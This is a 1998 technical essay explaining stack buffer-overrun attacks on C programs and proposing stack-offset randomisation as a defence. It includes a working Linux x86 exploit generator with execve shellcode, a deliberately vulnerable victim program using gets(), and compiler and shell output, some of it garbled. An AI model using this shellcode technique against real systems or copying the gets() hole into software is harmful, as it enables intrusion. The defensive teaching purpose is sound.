Protecting Against Some Buffer-Overrun Attacks Richard Kettlewell 1998-08-04 1. Buffer-Overrun Attacks C programs are prone to a particular class of security hole known as buffer overruns. They are always due to a programming error, but it is a very common one. The problem arises when a program reads a string from an untrusted source (for example, someone accessing the target system via the Internet) into a fixed-sized buffer allocated on the stack, without checking that the string is no larger than the buffer provided. An attacker can choose their input carefully, so it overwrites the saved return address on the stack. Typically they also load some machine code into the buffer that they are overrunning at the same time, and choose the value that they replace the return address with so that this code will be executed. (This is not the only possibility.) The code can do anything they like, but often it will do whatever is required to get a shell login to the system under attack. Since many daemons run as root this can be particularly serious. 2. An Example Attack Below is a program that will construct an attack for Linux 80x86 systems. It assumes that the buffer to be overflowed is 1024 bytes long, and requires you to determine what the address of the buffer in the target program will be. Systems with different stack layouts will require some modification to this program. This is often quite easy - usually the attacker will have access to a system similar or identical to the one they are attacking, and programs such as GDB can be used to determine runtime addresses of variables. #include #define BUFFER 0xbffff7c0 #define ATTACK_IN_TARGET ((struct bomb *)BUFFER) struct bomb { char code[1024]; char *link; char *retvalue; char *table[3]; char echo[16]; char message[64]; } attack = { "\xb8\x0b\0\0\0" /* movl $0x0b,%eax (execve) */ "\xbb\0\0\0\0" /* movl $0,%ebx (program) */ "\xb9\0\0\0\0" /* movl $0,%ecx (table) */ "\xba\0\0\0\0" /* movl $0,%edx (environment) */ "\xcd\x80", /* int $0x80 (linux system call interface) */ NULL, /* saved ebp */ (char *)BUFFER, /* saved eip */ {ATTACK_IN_TARGET->echo, ATTACK_IN_TARGET->message, NULL}, /* argument table for execve */ "/bin/echo", "hacker wins!" }; main() { *(char **)(attack.code + 6) = ATTACK_IN_TARGET->echo; *(char ***)(attack.code + 11) = ATTACK_IN_TARGET->table; fwrite((void *)&attack, 1, sizeof attack, stdout); } This produces about a kilobyte of output which can be used to attack the target program and cause it to execute /bin/echo with the argument "hacker wins"!. It's not very polished, but we're not after style points here. (A real exploit might e.g. execute /bin/sh.) 3. An Example Victim Here is an example victim program. It's particularly cooperative as it displays the necessary buffer address on its standard output! (Finding the same piece of information for real programs is left as an exercise for the reader.) main() { char buffer[1024]; printf("buffer=%p\n", buffer); gets(buffer); /* insecure! */ return 0; } We compile it up and ask it the runtime buffer address: : sfere; cc -o victim0 victim0.c /tmp/cca324671.o: In function `main': /tmp/cca324671.o(.text+0x25): the `gets' function is dangerous and should not be used. : sfere; ./victim0 exploit0.bin Now we can make the victim program execute our chosen bit of code: : sfere; ./victim0 #include #include real_main() { char buffer[1024]; printf("buffer=%p\n", buffer); gets(buffer); /* insecure! */ return 0; } main() { if(getenv("RANDOM_STACK")) { void *x; int fd; size_t n; ssize_t m; char buffer[sizeof (size_t)]; fd = open("/dev/urandom", O_RDONLY); read(fd, buffer, sizeof (size_t)); close(fd); n = *(size_t *)buffer; n %= atoi(getenv("RANDOM_STACK")); x = alloca(n); } exit(real_main()); } /dev/urandom is probably Linux-specific, but this is only a proof of concept. alloca() isn't defined by the ANSI C standard, but it's an easy way of achieving the effect I want here. We compile everything up. : sfere; cc -o victim victim.c /tmp/cca326401.o: In function `real_main': /tmp/cca326401.o(.text+0x25): the `gets' function is dangerous and should not be used. Now - assuming we remember to set that environment variable - the buffer is at a different address every time! : sfere; RANDOM_STACK=4096 ./victim